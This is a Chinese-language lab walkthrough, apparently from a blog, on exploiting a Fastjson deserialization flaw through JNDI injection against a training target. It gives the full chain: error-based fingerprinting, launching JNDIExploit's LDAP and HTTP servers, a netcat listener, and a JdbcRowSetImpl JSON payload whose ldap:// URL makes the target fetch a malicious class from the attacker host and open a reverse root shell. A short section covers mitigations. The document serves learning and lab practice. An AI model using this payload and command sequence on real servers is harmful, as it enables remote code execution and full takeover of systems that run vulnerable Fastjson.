Fastjson 反序列化漏洞(JNDI注入)

指纹识别 -> 漏洞探测 -> 搭建攻击环境 -> 构造 Payload -> RCE 提权

📚 一、 整体攻击链路复盘(上帝视角)

我们这次做的是一个非常经典的 Fastjson 反序列化漏洞(JNDI 注入) 的利用。整个流程就像一场精心策划的"特洛伊木马"行动:

  1. 踩点与伪装(信息收集): 你发送了一个坏掉的 JSON ({),逼目标服务器报错。服务器很诚实,把底层的错误信息(com.alibaba.fastjson.JSONException)打印出来了,这就暴露了它的身份和版本。
  2. 布置陷阱(启动攻击环境): 你在 Kali 上启动了 JNDIExploit,这相当于开了一家"恶意军火库"(LDAP 服务 1389 端口 + HTTP 文件服务 3456 端口),并准备了反弹 Shell 的恶意代码。
  3. 投递木马(发送 Payload): 你构造了一个带有 @type 特性的恶意 JSON,通过 Yakit 发送给目标。这个 JSON 的作用是欺骗目标服务器去你的"军火库"拿武器。
  4. 触发爆炸(目标执行): 目标服务器解析 JSON 时,被诱导去请求你的 LDAP 服务,然后下载并在自己的内存中执行了你的恶意类。
  5. 建立据点(反弹 Shell): 恶意类执行后,主动向你的 Kali 的 34560 端口发起连接,把服务器的控制权(Root Shell)交给了你。

🛠️ 二、 核心工具详解

本次实战我们用到了三个关键工具,理解它们的作用非常重要:

1. Yakit (Web Fuzzer)
  • 作用: 你的"发射器"。用来构造和发送精心设计的 HTTP 请求(包含了恶意 JSON 的 POST 请求)。
  • 为什么用它: 因为它可以方便地修改请求头(Content-Type: application/json)和请求体,并且可以直观地看到服务器的响应。
2. JNDIExploit (核心武器库)

这是本次攻击的灵魂工具,它同时扮演了两个角色:

  • LDAP 服务 (1389端口): 当目标服务器发起 JNDI 查询时,这个服务负责接收请求,并返回一个"引用"(Reference),告诉目标:"你要的东西不在我这,去我的 HTTP 服务器下载吧"。
  • HTTP 服务 (3456端口): 负责托管恶意的 .class 文件。目标服务器通过这个服务下载真正的执行代码。
  • Payload 生成器: 这个工具内置了多种利用链(如 ReverseShell 反弹Shell、TomcatEcho 回显等),我们只需要在 URL 中指定类型和参数(如 IP 和端口),它就会自动生成对应的恶意类。
3. Netcat (nc)
  • 作用: 你的"接收器"。用来监听一个本地端口(如 34560),等待目标服务器主动连接过来。
  • 为什么用它: 在 RCE(远程代码执行)利用中,由于目标在内网,我们无法直接连接它,所以要让目标反向连接 我们(Reverse Shell)。nc -nvlp 34560 就是开启这个反向连接的门。

🧠 三、 底层原理深挖(为什么会成功?)

这里涉及到三个核心概念的连环触发:

  1. Fastjson 的 @type****特性:
    Fastjson 为了支持多态,允许在 JSON 中使用 @type 字段指定要反序列化的 Java 类。攻击者利用这一点,指定了 com.sun.rowset.JdbcRowSetImpl 这个类。
  2. JdbcRowSetImpl 的 JNDI 注入:
    这个类在设置 dataSourceName 属性时,会调用 lookup() 方法。而如果 dataSourceName 是一个 ldap:// 开头的地址,它就会去请求这个 LDAP 服务器。这就是漏洞触发点。
  3. JNDI (Java Naming and Directory Interface):
    Java 的命名和目录接口。它可以用来访问 LDAP、RMI 等服务。当 Java 通过 JNDI 访问一个远程的 LDAP 服务时,如果服务端返回一个恶意的引用(Reference),Java 会自动去下载并实例化这个对象(这就是为什么叫 JNDI 注入)。

🛡️ 四、 防御与修复建议(实战视角)

如果你是一名安全工程师,面对这个漏洞该怎么修补?

  1. 升级 Fastjson 版本: 这是最直接的方法。升级到 Fastjson 1.2.83 或更高版本,或者迁移到更安全的 Fastjson2。
  2. 关闭 AutoType: 在代码中开启 ParserConfig.getGlobalInstance().setSafeMode(true);,这样可以禁止 @type 指定的任意类反序列化。
  3. 限制 JNDI 访问: 在 Java 虚拟机层面,可以通过设置 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false 来禁止 JNDI 从远程加载代码。
  4. 网络层防御: 限制服务器主动向外网发起连接(出网限制),可以有效阻断反弹 Shell。

🎓 五、 结语

通过这次实操,你不仅学会了怎么用 Yakit 发送请求,怎么用 JNDIExploit 架设服务,怎么用 NC 接收 Shell,更关键的是,你走完了完整的渗透测试流程。

那个 Yakit 的 400 报错其实是个很好的"彩蛋"------它告诉你,实战中不是每次攻击都会得到"完美"的响应,但只要底层逻辑通了,目标依然会被拿下。

实战步骤

第一阶段:信息收集与指纹识别

目标: 确认目标网站是 Java 应用,并识别出它使用的是 Fastjson 库。

你的操作步骤:

步骤 1:基础访问与初步判断

  1. 在浏览器中访问目标网站:http://10.3.4.93:8090

  2. 观察返回的内容(截图中是 {"age": 25, "name": "Bob"})。

  3. 思考: 为什么老师看图 1 的 Logo 和返回内容就能初步判断是 Java 部署的网站?(提示:Spring Boot 默认返回 JSON 格式数据,且带有特定的图标)。

其实在"看图识别框架"这件事上,Logo 只是一个辅助线索 。老师发给你看的这个"绿叶子"Logo,在渗透测试中有个专门的说法叫 favicon(网站图标)识别。

  • Spring Boot :绿叶子图标。如果服务端没有自定义图标,默认会沿用 Spring Boot 的 Logo 。

  • Apache Shiro :盾牌形图标。Shiro 本身没有自带的"网站Logo",但在实战中常通过 Cookie 中是否出现 rememberMe 字段来识别,这个字段的默认值 rememberMe=deleteMe 辨识度很高 。

  • WordPress :蓝色圆底、白色字母"W"的 Logo。这是全球使用最广泛的 CMS,其默认的 favicon 和页面源码中的 wp-content、wp-includes 路径是强识别特征 。

🔍 除了 Logo,还有哪些"一眼看出"的特征?

除了看 Logo,在渗透测试的"信息收集"阶段,通常还会从下面这几个维度交叉验证:

  • 报错页面 :这是最直接的证据。你老师教程里用的就是这招,通过构造畸形 JSON 拿到 com.alibaba.fastjson.JSONException 的报错。类似地,Spring Boot 默认的白色报错页 (Whitelabel Error Page)或包含 nested exception 字样的报错信息,都是极强的指纹 。
  • Cookie 特征 :这是最能直接暴露后端语言和框架的地方。如果 Set-Cookie 里出现 JSESSIONID,说明后端是 Java,而 PHPSESSID 则对应 PHP 。
  • 响应头(Header) :Server 或 X-Powered-By 等响应头偶尔会直接"自报家门",比如 X-Powered-By: ThinkPHP。
  • URL 后缀 :比如 .do、.action 这样的后缀,通常和 Java 的 Struts 或 Spring MVC 框架相关 。

💡 工具推荐(进阶)

如果不想在浏览器里手工比对,可以使用 Wappalyzer (浏览器插件或 API)或者 WhatWeb 这类工具自动分析页面源码、Headers 和 JS 文件等,输出一份完整的技术栈清单 。

步骤 2:构造畸形 JSON 报错探测

  1. 打开你的抓包工具(Burp Suite 或直接使用 Postman)。

在kali中使用yakit

(由于 AppImage 在 Kali 等部分系统上需要特殊权限,建议加上 --no-sandbox 参数启动)

复制代码
./Yakit-1.4.9-0925-linux-amd64.AppImage --no-sandbox
  1. 浏览器访问http://10.3.4.93:8090,Intercept 界面会抓到一个 GET 请求(因为你是直接访问网址)。

  2. 右键点击 这个抓到的请求区域,bp选择 Send to Repeater (发送到重放器),快捷键是 Ctrl + R(Mac 是 Cmd + R)。yakit则是发送到 Web Fuzzer

  3. 构造一个 POST 请求,发送到 http://10.3.4.93:8090。

  4. 设置(添加)请求头【在请求头的末尾(Host 行的下方)】:

    • Content-Type: application/json

设置请求体(Body):故意写一个不闭合的畸形 JSON:

复制代码
{
  1. 发送请求。

步骤 3:分析报错信息获取指纹

  1. 观察服务器的响应(图 2 右侧)。
  2. 你会看到返回了 HTTP 400 错误,并且页面中包含了详细的异常堆栈。
  3. 在报错信息中寻找关键字:nested exception is com.alibaba.fastjson.JSONException。
  4. 结论: 确认目标使用了 Fastjson 库。
  5. 版本判断: 结合老师教程中提到的 safe6Sec/Fastjson 项目,我们知道 Fastjson 在 1.2.9 到 1.2.47 版本之间存在通用的反序列化漏洞,这就是我们接下来要利用的突破口。

第二阶段:搭建攻击环境

目标: 在你自己的攻击机上启动恶意 LDAP 和 HTTP 服务,用来接收目标发来的 JNDI 请求并托管恶意代码。

你的操作步骤:

步骤 1:准备攻击工具

  1. 在你的攻击机(Kali 或 VPS)上,下载教程里提到的工具包:JNDIExploit-1.3-SNAPSHOT.jar。
  2. 确保你的攻击机已经安装了 Java 运行环境(JDK 1.8 左右即可)。

步骤 2:启动 JNDI 恶意服务

  1. 在攻击机的命令行终端中,进入存放 jar 包的目录。

执行以下命令启动服务(注意替换 IP):

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP

(例如,如果老师的攻击机 IP 是 192.168.230.16*,命令就是* java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16*)*

验证启动: 成功启动后,终端会输出类似下面的内容:

[+] LDAP Server Start Listening on 1389 ...

[+] HTTP Server Start Listening on 3456 ...

(这代表 LDAP 服务监听了 1389 端口,HTTP 服务监听了 3456 端口)

步骤 3:查看可用 Payload

为了确认我们可以使用哪种反弹 Shell 的格式,你可以执行下面这个命令查看工具帮助:

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -u

在输出的信息里,找到反弹 Shell 的格式(通常是):

ldap://你的IP:1389/Basic/ReverseShell/[你的IP]/[你准备监听的端口]

第三阶段:准备接收反弹 Shell

目标: 启动恶意服务,并开启监听端口等待目标机器上线。

步骤 1:正式启动 JNDI 恶意服务(终端窗口 A)
  1. 在你现在的这个终端(或者新开一个终端),进入工具所在目录,已经开过了就不用操作这一步了。

执行启动命令(注意:这次不要加 -u**,并且把 IP 换成你攻击机的真实 IP**):

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 你的攻击机IP

(例如: java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.230.16*)*

成功标志: 终端会挂起并显示:

复制代码
[+] LDAP Server Start Listening on 1389 ...
[+] HTTP Server Start Listening on 3456 ...

⚠️ 注意:这个终端窗口不要关闭,让它一直挂着运行。

只能开一个监听窗口,除非换一个端口

方法一:杀掉之前占用的进程(推荐)

如果你不知道之前那个窗口去哪了,或者它还在后台挂着,可以在当前终端执行以下命令强制结束所有占用端口的 Java 进程:

复制代码
pkill -f JNDIExploit

或者

复制代码
kill -9 $(lsof -t -i:1389)

执行完后,再次运行你的启动命令:

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78

如果成功,终端会显示 LDAP Server Start Listening on 1389 ... 和 HTTP Server Start Listening on 3456 ...。


方法二:查找并手动关闭旧窗口

检查你的任务栏或终端标签页,看看是不是之前运行过 java -jar JNDIExploit... 的那个终端窗口没有关闭。直接在那个窗口按 Ctrl + C 终止它,然后再开一个新的终端来运行。


方法三:换个端口启动(如果 1389 被其他重要服务占用)

如果 1389 端口被系统里其他必须运行的服务占用了,你可以给工具指定新的端口:

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890 -p 34560

(解释: -l**指定 LDAP 端口为 13890, -p**指定 HTTP 端口为 34560)

注意,如果你换了 LDAP 端口,之后构造 Payload 时也要把端口改成新的:

ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560

若杀不掉

🔍 第一步:排查是谁占用了端口

在终端里执行以下命令,看看究竟是谁霸占了 1389 端口:

复制代码
sudo lsof -i:1389

(如果提示没有 lsof,可以用 netstat -tulnp | grep 1389**代替)

可能出现的两种情况:

  1. 如果是 Java 进程 :说明你的 JNDIExploit 还在后台没死透。
  2. 如果是其他进程(如 dnsmasq 等):说明你 Kali 系统里有别的服务占用了这个端口。

🛠️ 第二步:暴力清理(推荐)

不管是谁,为了确保环境干净,直接执行以下命令强制杀掉占用 1389 和 3456 端口的进程:

复制代码
sudo fuser -k 1389/tcp
sudo fuser -k 3456/tcp

( fuser -k**可以直接根据端口号杀掉相关进程,非常管用)

杀掉后,再次执行启动命令:

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78

💡 备选方案:如果 1389 被系统重要服务占用无法释放

在 Kali 中,有时 1389 会被其他系统服务(如 LDAP 客户端服务)占用。

如果清理后依然报错,不要死磕,直接换端口启动。

执行以下命令,把 LDAP 端口改成 13890(注意多了一个0):

复制代码
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.196.78 -l 13890

⚠️ 特别注意: 如果你使用了备选方案换成了 13890 端口,那么在下一阶段构造 JNDI 链接时,链接里的端口也要改成 13890 ,即:

ldap://192.168.196.78:13890/Basic/ReverseShell/192.168.196.78/34560

步骤 2:开启 NC 监听端口(终端窗口 B)
  1. 新开一个终端窗口(不要关掉刚才那个)。

执行监听命令。这里非常关键,端口不要写 3456(因为被工具占用了),我们用 34560:

复制代码
nc -nvlp 34560
  1. 成功标志: 终端会显示 listening on [any] 34560 ...,然后光标闪烁,等待连接。

步骤 3:构造最终的 JNDI Payload

根据你截图里看到的格式(ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]),结合我们刚才设置的参数,最终的 Payload 是:

复制代码
ldap://你的攻击机IP:1389/Basic/ReverseShell/你的攻击机IP/34560

(例如: ldap://192.168.230.16:1389/Basic/ReverseShell/192.168.230.16/34560*)*

把这个 Payload 记下来,下一阶段我们要把它塞进 JSON 里发给目标。

复制代码
ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560

第四阶段:构造 Fastjson 恶意 Payload 并发送

目标: 把我们准备好的 JNDI 链接,塞进 Fastjson 的利用链里,发给目标服务器。

步骤 1:回到 Yakit 的 Web Fuzzer

回到你刚才成功测试出 HTTP/1.1 400 的那个请求页面。

步骤 2:替换请求体(Body)

把第 11 行那个单独的 { 删掉,替换成下面这段完整的 JSON 代码:

复制代码
{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.196.78:1389/Basic/ReverseShell/192.168.196.78/34560",
    "autoCommit": true
  }
}

⚠️ 极其重要的检查:

请务必仔细核对 dataSourceName 里的 IP 和端口:

  • 第一处 IP 192.168.196.78:这是你的 JNDI 攻击服务器 IP。
  • 端口 1389:这是你启动 JNDI 工具时监听的 LDAP 端口
  • (如果你之前换了端口,这里要跟着改)不过我一般不会换。
  • 第二处 IP 192.168.196.78:这是你准备接收反弹 Shell 的 IP(通常和攻击机一样)。
  • 端口 34560:这是你之前用 nc -nvlp 34560 开启的监听端口。
步骤 3:确保请求头正确
  • 第 1 行:必须是 POST / HTTP/1.1
  • 第 9 行:必须有 Content-Type: application/json
  • 请求头和 JSON 之间必须有一个空行(第 10 行)。
步骤 4:发送攻击

点击 Yakit 的 发送 按钮。


第五阶段:验证与获取权限

观察点 1:Yakit 的响应
  • 如果攻击成功,目标服务器的响应可能是一个 HTTP/1.1 500 错误(因为 Fastjson 在反序列化时会去请求你的 LDAP 服务,这个过程可能会让请求超时或抛出异常)。
  • 也可能会返回正常页面或 200,这取决于目标服务器的配置。不要只盯着 Yakit 的响应看。
观察点 2:JNDI 工具终端(你启动 java -jar 的那个窗口)

这是判断攻击是否成功的关键。如果你看到类似下面的日志输出,说明目标已经上钩:

复制代码
[+] Received LDAP Query: Basic/ReverseShell/192.168.196.78/34560
[+] Payload: reversereverse
[+] Sending LDAP ResourceRef result for Basic/ReverseShell/192.168.196.78/34560
[+] New HTTP Request From /10.3.4.93:xxxxx /ExploitXXXXX.class
[+] Receive ClassRequest: ExploitXXXXX.class
[+] Response Code: 200

(解释:目标通过 LDAP 查询了你的服务,然后通过 HTTP 请求下载了恶意的 .class**文件并执行)

观察点 3:NC 监听终端(你执行 nc -nvlp 34560 的那个窗口)

如果前面的步骤都顺利,此时你的 NC 窗口会弹出一串连接信息,并且出现类似 bash: cannot set terminal process group... 的提示,最后会给你一个命令提示符(比如 root@...:/#)。

(就是在 NC 窗口里输入以下命令验证)

就是在那个 root@1cf5a9298273:/# 的光标后面,试着输入几个命令,感受一下"拿下服务器"的感觉:

  • 输入 whoami 回车,确认是不是 root。

  • 输入 ls 回车,看看它里面有什么文件。

  • 输入 ip a 回车,看看它的内网 IP 是不是 10.3.4.93。

    whoami

如果返回 root,恭喜你,RCE 成功!

最后总结和扩展练习

🛠️ 复现这次攻击的关键条件

你这次的攻击能成功,除了工具和payload,其实还依赖了目标环境的特定"窗口":

  • Fastjson 版本 :介于 1.2.25 到 1.2.47 之间,这个区间有利用 @type 绕过 checkAutoType 的经典漏洞。
  • JDK 版本:必须是低版本(如 JDK 8u191 以下),高版本 JDK 默认禁止 JNDI 远程加载代码,攻击会被拦截。
  • 配置状态:通常是 AutoType 未开启(或开发者手动开启了),或者处于 SafeMode 未启用的默认状态。

📚 推荐练手靶场与进阶方向

下面的靶场能帮助你从不同维度巩固和理解 Fastjson 漏洞,可以根据自己的基础选择:

|------------------------------------|----------------------------------------------|----------------------|------------------------------------------|
| 靶场 / 项目 | 核心特点 | 适合人群 | 获取地址 |
| Vulhub | 一键启动经典漏洞环境(含 1.2.24-rce、1.2.47-rce) | 希望快速复现基础漏洞,理解利用链的初学者 | GitHub: vulhub/vulhub |
| why-success/fastjson-rce-lab | 针对 1.2.83 高版本的 Gadget-free 利用,更接近真实场景 | 已掌握基础,希望挑战高版本绕过的人 | GitHub: why-success/fastjson-rce-lab |
| Ape1ron/fastjson1283poc_public | 覆盖 Tomcat/Jetty 等不同容器、JDK 8/17 等不同 JDK 的利用路径 | 对底层利用技术感兴趣,想在复杂环境下练习 | GitHub: Ape1ron/fastjson1283poc_public |
| JavaVul | 提供从 1.2.24 到 1.2.66 等多个版本的靶场,便于系统化练习 | 希望系统练习各个版本绕过技术的进阶者 | GitHub: 007panda/JavaVul |

你可以先从 Vulhub 里较新的 1.2.47-rce 环境开始,对比你这次的操作,会发现在环境搭建上简单很多。之后如果想挑战,可以去尝试 1.2.83 的靶场,那里更需要你理解 LaunchedURLClassLoader 或 /proc/self/fd 这类底层机制。

相关推荐
haerapi2 小时前
把 PostgreSQL 复制巡检做成可审计闭环:确定性采集、阈值判定与受控模型归纳
数据库·postgresql
跨境小彭2 小时前
Temu拉美站点铺货实操复盘:手动复制痛点与批量自动化解决方案
服务器·人工智能·搜索引擎·自动化·temu电商运营
Shulex2 小时前
面向跨境电商多渠道消息系统的技术架构:亚马逊站内信合规对接与自动化执行链路设计
运维·架构·自动化
微学AI3 小时前
不让每一步都调用最贵模型:用蓝耘智能路由改造自主式研究 Agent
数据库·人工智能·蓝耘
yjb.gz3 小时前
Oracle19 RAC查看集群状态及磁盘空间情况(巡检)
数据库
狗凯之家源码网3 小时前
微博图床 PHP 系统搭建与实战应用指南
android·开发语言·php
钝挫力PROGRAMER3 小时前
开发踩坑记:MyBatis selectKey、空 SQL
数据库·sql·mybatis
JosieBook3 小时前
【数据库】MySQL 实战精通系列 · 第6篇:InnoDB 存储引擎、日志与崩溃恢复
数据库·mysql
泛联新安4 小时前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全